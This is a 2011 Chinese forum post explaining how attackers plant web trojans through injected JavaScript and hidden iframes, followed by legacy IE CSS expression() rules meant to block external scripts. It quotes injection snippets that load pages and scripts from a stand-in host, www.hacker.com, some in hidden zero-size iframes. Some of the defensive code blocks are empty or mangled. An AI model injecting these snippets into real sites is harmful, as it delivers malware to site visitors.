终南之巅 發表於 2011-5-1 01:18:07

防止网站被JS,iframe挂马的防范方法

这种方法使用的关键代码如下: <br />window.open(&quot;http://www.hacker.com/木马.html&quot;,&quot;&quot;,&quot;toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1&quot;); <br />这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将&ldquo;width&rdquo;和&ldquo;height=&rdquo;参数设为&ldquo;0&rdquo;,但是设置为0后,可能会出现恶意代码不运行的情况。 <br />另外一种JS挂马方式是,黑客先将挂马脚本代码&ldquo;document.write('<Iframe src=&quot;网页木马地址&quot; &gt;&lt;/iframe>')&rdquo;,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: <br />&lt;script src=&quot;http://www.hacker.com/木马脚本.js&quot;&gt;&lt;/script&gt; <br />或者 <br />document.write(&quot;&lt;div style='display:none'&gt;&quot;) <br />document.write(&quot;&lt;iframe src=&quot;网页木马地址&quot; width=&quot;0&quot; height=&quot;0&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;&quot;) <br />document.write(&quot;&lt;/div&gt;&quot;) <br />就成功地将木马挂到了对方的网页中了。 <br />小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为: <br />&lt;div style=&quot;behaviour: url(http://www.hacker.com/木马脚本.js);&quot;&gt; <br />或者: <br />&lt;iframe src=&quot;vbscript:[挂马脚本]&quot;&gt; <br />等等&hellip;&hellip; <br />防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下: <br />iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');} <br />script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');} <br />不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。 <br />所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。 <br />让JS木马的进程迅速中止 <br />在 &lt;head&gt; &lt;/head&gt; 之间加入如下代码: <br />屏蔽script和iframe <br />&lt;style type=&quot;text/css&quot; id=&quot;LinrStudio&quot;&gt; <br />/*&lt;!]&gt;*/ <br />&lt;/style&gt; <br />单屏蔽script <br />&lt;style type=&quot;text/css&quot; id=&quot;LinrStudio&quot;&gt; <br />/*&lt;!]&gt;*/ <br />&lt;/style&gt; <br /><br />上面的代码经琼殿技术社区测试,代码是根据查找http一般情况下大家写的js路径,是带有域名的,例如琼殿技术社区使用的就是http://img.jb51.net/1.js那么也是无法运行的,所以上面的代码有一定的局限性。大家可以根据需要修改。 <br />例如我们的地址都是img.jb51.net那么可以写成 <br />script{ngz1:expression((this.src.indexOf('jb51.net')==-1)?document.close():'');} <br />那么我们需要的就是将我们所以的js都写成带http://img.jb51.net的。如果你有更好的方法可以发布下。下面是我们给出的可能需要多重判断 <br />script{ngz1:expression(((this.src.indexOf('jb51.net')==-1)&amp;&amp;this.src.indexOf('http')==0)?document.close():'');}
頁: [1]
查看完整版本: 防止网站被JS,iframe挂马的防范方法